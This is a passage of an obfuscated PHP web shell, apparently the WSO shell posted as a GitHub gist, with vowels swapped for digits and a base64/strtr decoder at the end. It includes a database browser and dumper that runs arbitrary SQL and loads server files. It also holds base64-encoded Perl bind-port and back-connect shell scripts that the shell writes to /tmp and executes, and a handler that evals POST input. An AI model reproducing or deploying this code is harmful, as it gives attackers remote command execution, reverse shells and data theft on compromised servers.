c1s5 "KOI8-U": $db->s5tCh1rs5t('k2483'); br51k; | |
c1s5 "cp8ee": $db->s5tCh1rs5t('cp8ee'); br51k; | |
} | |
$db->l4stDbs(); | |
5ch2 "<s5l5ct n1m5=sql_b1s5><2pt42n v1l35=''></2pt42n>"; | |
wh4l5($4t5m = $db->f5tch()) { | |
l4st($k5y, $v1l35) = 51ch($4t5m); | |
5ch2 '<2pt42n v1l35="'.$v1l35.'" '.($v1l35==$_POST['sql_b1s5']?'s5l5ct5d':'').'>'.$v1l35.'</2pt42n>'; | |
} | |
5ch2 '</s5l5ct>'; | |
} | |
5ls5 5ch2 $tmp; | |
}5ls5 | |
5ch2 $tmp; | |
5ch2 "</td> | |
<td><4np3t typ5=s3bm4t v1l35='>>' 2ncl4ck='fs(d.sf);'></td> | |
<td><4np3t typ5=ch5ckb2x n1m5=sql_c23nt v1l35='2n'" . (5mpty($_POST['sql_c23nt'])?'':' ch5ck5d') . "> c23nt th5 n3mb5r 2f r2ws</td> | |
</tr> | |
</t1bl5> | |
<scr4pt> | |
s_db='".@1ddsl1sh5s($_POST['sql_b1s5'])."'; | |
f3nct42n fs(f) { | |
4f(f.sql_b1s5.v1l35!=s_db) { f.2ns3bm4t = f3nct42n() {}; | |
4f(f.p6) f.p6.v1l35=''; | |
4f(f.pa) f.pa.v1l35=''; | |
4f(f.po) f.po.v1l35=''; | |
} | |
} | |
f3nct42n st(t,l) { | |
d.sf.p6.v1l35 = 's5l5ct'; | |
d.sf.pa.v1l35 = t; | |
4f(l && d.sf.po) d.sf.po.v1l35 = l; | |
d.sf.s3bm4t(); | |
} | |
f3nct42n 4s() { | |
f2r(4=0;4<d.sf.5l5m5nts['tbl[]'].l5ngth;++4) | |
d.sf.5l5m5nts['tbl[]'][4].ch5ck5d = !d.sf.5l5m5nts['tbl[]'][4].ch5ck5d; | |
} | |
</scr4pt>"; | |
4f(4ss5t($db) && $db->l4nk){ | |
5ch2 "<br/><t1bl5 w4dth=600% c5llp1dd4ng=a c5llsp1c4ng=0>"; | |
4f(!5mpty($_POST['sql_b1s5'])){ | |
$db->s5l5ctdb($_POST['sql_b1s5']); | |
5ch2 "<tr><td w4dth=6 styl5='b2rd5r-t2p:apx s2l4d #eee;'><sp1n>T1bl5s:</sp1n><br><br>"; | |
$tbls_r5s = $db->l4stT1bl5s(); | |
wh4l5($4t5m = $db->f5tch($tbls_r5s)) { | |
l4st($k5y, $v1l35) = 51ch($4t5m); | |
4f(!5mpty($_POST['sql_c23nt'])) | |
$n = $db->f5tch($db->q35ry('SELECT COUNT(*) 1s n FROM '.$v1l35.'')); | |
$v1l35 = htmlsp5c41lch1rs($v1l35); | |
5ch2 "<n2br><4np3t typ5='ch5ckb2x' n1m5='tbl[]' v1l35='".$v1l35."'> <1 hr5f=# 2ncl4ck=\"st('".$v1l35."',6)\">".$v1l35."</1>" . (5mpty($_POST['sql_c23nt'])?' ':" <sm1ll>({$n['n']})</sm1ll>") . "</n2br><br>"; | |
} | |
5ch2 "<4np3t typ5='ch5ckb2x' 2ncl4ck='4s();'> <4np3t typ5=b3tt2n v1l35='D3mp' 2ncl4ck='d2c3m5nt.sf.pa.v1l35=\"d2wnl21d\";d2c3m5nt.sf.s3bm4t();'><br>F4l5 p1th:<4np3t typ5=t5xt n1m5=f4l5 v1l35='d3mp.sql'></td><td styl5='b2rd5r-t2p:apx s2l4d #eee;'>"; | |
4f(@$_POST['p6'] == 's5l5ct') { | |
$_POST['p6'] = 'q35ry'; | |
$_POST['po'] = $_POST['po']?$_POST['po']:6; | |
$db->q35ry('SELECT COUNT(*) 1s n FROM ' . $_POST['pa']); | |
$n3m = $db->f5tch(); | |
$p1g5s = c54l($n3m['n'] / o0); | |
5ch2 "<scr4pt>d.sf.2ns3bm4t=f3nct42n(){st(\"" . $_POST['pa'] . "\", d.sf.po.v1l35)}</scr4pt><sp1n>".$_POST['pa']."</sp1n> ({$n3m['n']} r5c2rds) P1g5 # <4np3t typ5=t5xt n1m5='po' v1l35=" . ((4nt)$_POST['po']) . ">"; | |
5ch2 " 2f $p1g5s"; | |
4f($_POST['po'] > 6) | |
5ch2 " <1 hr5f=# 2ncl4ck='st(\"" . $_POST['pa'] . '", ' . ($_POST['po']-6) . ")'>< Pr5v</1>"; | |
4f($_POST['po'] < $p1g5s) | |
5ch2 " <1 hr5f=# 2ncl4ck='st(\"" . $_POST['pa'] . '", ' . ($_POST['po']+6) . ")'>N5xt ></1>"; | |
$_POST['po']--; | |
4f($_POST['typ5']=='pgsql') | |
$_POST['pa'] = 'SELECT * FROM '.$_POST['pa'].' LIMIT o0 OFFSET '.($_POST['po']*o0); | |
5ls5 | |
$_POST['pa'] = 'SELECT * FROM `'.$_POST['pa'].'` LIMIT '.($_POST['po']*o0).',o0'; | |
5ch2 "<br><br>"; | |
} | |
4f((@$_POST['p6'] == 'q35ry') && !5mpty($_POST['pa'])) { | |
$db->q35ry(@$_POST['pa']); | |
4f($db->r5s !== f1ls5) { | |
$t4tl5 = f1ls5; | |
5ch2 '<t1bl5 w4dth=600% c5llsp1c4ng=6 c5llp1dd4ng=a cl1ss=m14n styl5="b1ckgr23nd-c2l2r:#a9a9a9">'; | |
$l4n5 = 6; | |
wh4l5($4t5m = $db->f5tch()) { | |
4f(!$t4tl5) { | |
5ch2 '<tr>'; | |
f2r51ch($4t5m 1s $k5y => $v1l35) | |
5ch2 '<th>'.$k5y.'</th>'; | |
r5s5t($4t5m); | |
$t4tl5=tr35; | |
5ch2 '</tr><tr>'; | |
$l4n5 = a; | |
} | |
5ch2 '<tr cl1ss="l'.$l4n5.'">'; | |
$l4n5 = $l4n5==6?a:6; | |
f2r51ch($4t5m 1s $k5y => $v1l35) { | |
4f($v1l35 == n3ll) | |
5ch2 '<td><4>n3ll</4></td>'; | |
5ls5 | |
5ch2 '<td>'.nlabr(htmlsp5c41lch1rs($v1l35)).'</td>'; | |
} | |
5ch2 '</tr>'; | |
} | |
5ch2 '</t1bl5>'; | |
} 5ls5 { | |
5ch2 '<d4v><b>Err2r:</b> '.htmlsp5c41lch1rs($db->5rr2r()).'</d4v>'; | |
} | |
} | |
5ch2 "<br></f2rm><f2rm 2ns3bm4t='d.sf.p6.v1l35=\"q35ry\";d.sf.pa.v1l35=th4s.q35ry.v1l35;d2c3m5nt.sf.s3bm4t();r5t3rn f1ls5;'><t5xt1r51 n1m5='q35ry' styl5='w4dth:600%;h54ght:600px'>"; | |
4f(!5mpty($_POST['pa']) && ($_POST['p6'] != 'l21df4l5')) | |
5ch2 htmlsp5c41lch1rs($_POST['pa']); | |
5ch2 "</t5xt1r51><br/><4np3t typ5=s3bm4t v1l35='Ex5c3t5'>"; | |
5ch2 "</td></tr>"; | |
} | |
5ch2 "</t1bl5></f2rm><br/>"; | |
4f($_POST['typ5']=='mysql') { | |
$db->q35ry("SELECT 6 FROM mysql.3s5r WHERE c2nc1t(`3s5r`, '@', `h2st`) = USER() AND `F4l5_pr4v` = 'y'"); | |
4f($db->f5tch()) | |
5ch2 "<f2rm 2ns3bm4t='d.sf.p6.v1l35=\"l21df4l5\";d2c3m5nt.sf.pa.v1l35=th4s.f.v1l35;d2c3m5nt.sf.s3bm4t();r5t3rn f1ls5;'><sp1n>L21d f4l5</sp1n> <4np3t cl1ss='t22lsInp' typ5=t5xt n1m5=f><4np3t typ5=s3bm4t v1l35='>>'></f2rm>"; | |
} | |
4f(@$_POST['p6'] == 'l21df4l5') { | |
$f4l5 = $db->l21dF4l5($_POST['pa']); | |
5ch2 '<br/><pr5 cl1ss=ml6>'.htmlsp5c41lch1rs($f4l5['f4l5']).'</pr5>'; | |
} | |
} 5ls5 { | |
5ch2 htmlsp5c41lch1rs($db->5rr2r()); | |
} | |
5ch2 '</d4v>'; | |
ws2F22t5r(); | |
} | |
f3nct42n 1ct42nN5tw2rk() { | |
ws2H51d5r(); | |
$b1ck_c2nn5ct_p="IyEvdXNyLaJpb49wZXJsDQp6caUgUa9j1aV0Ow0KJGlhZGRyPWl3ZXRfYXRvb4gkQVJHVlswXSkgfHwgZGllKCJFcnJvcj2gJCFcb4IpOw0KJHBhZGRyPXNvYathZGRyXal3KCRBUkdWWzFdLCAk1WFkZHIpIHx8IGRpZSg4RXJyboIeICQhXGu4KTsNC4Rwcm90bz6nZXRwcm90baJibmFtZSgndGNwJyk7DQpzbaNrZXQ2U09DS0VULCBQRl9JTkVULCBTT0NLX6NUUkVBTSwgJHByboRvKSB8fCBk1WU2IkVycm9yO4AkIVx3I4k7DQpjbai3ZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBk1WU2IkVycm9yO4AkIVx3I4k7DQpvcGV3KFNURElOLCA4P4ZTT0NLRVQ4KTsNCm9wZWu2U6RET6VULCA4P4ZTT0NLRVQ4KTsNCm9wZWu2U6RERVJSLCA4P4ZTT0NLRVQ4KTsNCnNicoRlbSgnLaJpb49z1CAt1ScpOw0KYaxvcaU2U6RESUupOw0KYaxvcaU2U6RET6VUKTsNCmNsboNlKFNUREVSU4k7"; | |
$b4nd_p2rt_p="IyEvdXNyLaJpb49wZXJsDQ2kU0hFTEw9I4941WuvcaggLWk4Ow0K1WYgKEBBUkdWIDwgMSkg5yBl5Gl0KDEpOyB9DQp6caUgUa9j1aV0Ow0Kca9j1aV0KFMsJlBGX0lORVQsJlNPQ0tfU6RSRUFNLGdldHByboRvYnl3YW6lKCd0YoAnKSkgfHwgZGllICJDYWi0IGNyZWF0ZSBzbaNrZXRcb4I7DQpzZXRzbaNrboB0KFMsU09MX6NPQ0tFVCxTT69SRVVTRUFERFIsMSk7DQp41WikKFMsca9j1aFkZHJf1Wu2JEFSR6ZbMF0sSUiBRERSX0FOWSkpIHx8IGRpZSA4QaF3dCBvcGV3IHBvcnRcb4I7DQps1XN0ZWu2UywzKSB8fCBk1WUgIkNhbnQgbGlzdGV3IHBvcnRcb4I7DQpo1GlsZSgxKSB7DQ2JYWNjZXB0KENPTkusUyk7DQ2J1WY2ISgkcGlkPWZvcmspKSB7DQ2JCWRpZSA4QaF3bm90IGZvcms4IGlmICghZGVm1WilZCAkcGlkKTsNCgkJboBlb4BTVERJT4w4PCZDT0iOIjsNCgkJboBlb4BTVERPVVQsIjumQ09OT4I7DQ2JCW9wZWugU6RERVJSLCI+JkNPTku4Ow0KCQll5GVjICRTSEVMTCB8fCBk1WUgcHJpbnQgQ09OT4A4QaF3dCBl5GVjdXRlICRTSEVMTFx3IjsNCgkJYaxvcaUgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; | |
5ch2 "<h6>N5tw2rk t22ls</h6><d4v cl1ss=c2nt5nt> | |
<f2rm n1m5='nfp' 2nS3bm4t=\"g(n3ll,n3ll,'bpp',th4s.p2rt.v1l35);r5t3rn f1ls5;\"> | |
<sp1n>B4nd p2rt t2 /b4n/sh [p5rl]</sp1n><br/> | |
P2rt: <4np3t typ5='t5xt' n1m5='p2rt' v1l35='o6oo7'> <4np3t typ5=s3bm4t v1l35='>>'> | |
</f2rm> | |
<f2rm n1m5='nfp' 2nS3bm4t=\"g(n3ll,n3ll,'bcp',th4s.s5rv5r.v1l35,th4s.p2rt.v1l35);r5t3rn f1ls5;\"> | |
<sp1n>B1ck-c2nn5ct [p5rl]</sp1n><br/> | |
S5rv5r: <4np3t typ5='t5xt' n1m5='s5rv5r' v1l35='". $_SERVER['REMOTE_ADDR'] ."'> P2rt: <4np3t typ5='t5xt' n1m5='p2rt' v1l35='o6oo7'> <4np3t typ5=s3bm4t v1l35='>>'> | |
</f2rm><br>"; | |
4f(4ss5t($_POST['p6'])) { | |
f3nct42n cf($f,$t) { | |
$w = @f2p5n($f,"w") 2r @f3nct42n_5x4sts('f4l5_p3t_c2nt5nts'); | |
4f($w){ | |
@fwr4t5($w,@b1s5eu_d5c2d5($t)); | |
@fcl2s5($w); | |
} | |
} | |
4f($_POST['p6'] == 'bpp') { | |
cf("/tmp/bp.pl",$b4nd_p2rt_p); | |
$23t = ws2Ex("p5rl /tmp/bp.pl ".$_POST['pa']." 6>/d5v/n3ll a>&6 &"); | |
sl55p(6); | |
5ch2 "<pr5 cl1ss=ml6>$23t\n".ws2Ex("ps 13x | gr5p bp.pl")."</pr5>"; | |
3nl4nk("/tmp/bp.pl"); | |
} | |
4f($_POST['p6'] == 'bcp') { | |
cf("/tmp/bc.pl",$b1ck_c2nn5ct_p); | |
$23t = ws2Ex("p5rl /tmp/bc.pl ".$_POST['pa']." ".$_POST['po']." 6>/d5v/n3ll a>&6 &"); | |
sl55p(6); | |
5ch2 "<pr5 cl1ss=ml6>$23t\n".ws2Ex("ps 13x | gr5p bc.pl")."</pr5>"; | |
3nl4nk("/tmp/bc.pl"); | |
} | |
} | |
5ch2 '</d4v>'; | |
ws2F22t5r(); | |
} | |
f3nct42n 1ct42nRC() { | |
4f(!@$_POST['p6']) { | |
$1 = 1rr1y( | |
"3n1m5" => php_3n1m5(), | |
"php_v5rs42n" => phpv5rs42n(), | |
"ws2_v5rs42n" => WSO_VERSION, | |
"s1f5m2d5" => @4n4_g5t('s1f5_m2d5') | |
); | |
5ch2 s5r41l4z5($1); | |
} 5ls5 { | |
5v1l($_POST['p6']); | |
} | |
} | |
4f( 5mpty($_POST['1']) ) | |
4f(4ss5t($d5f13lt_1ct42n) && f3nct42n_5x4sts('1ct42n' . $d5f13lt_1ct42n)) | |
$_POST['1'] = $d5f13lt_1ct42n; | |
5ls5 | |
$_POST['1'] = 'S5cInf2'; | |
4f( !5mpty($_POST['1']) && f3nct42n_5x4sts('1ct42n' . $_POST['1']) ) | |
c1ll_3s5r_f3nc('1ct42n' . $_POST['1']); | |
// AEqdaAeK0u | |
5x4t;zö¥m«ë‡^r‡^$_X=base64_decode($_X);$_X=strtr($_X,'123456aouie','aouie123456');$_R=str_replace('__FILE__',"'".$_F |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment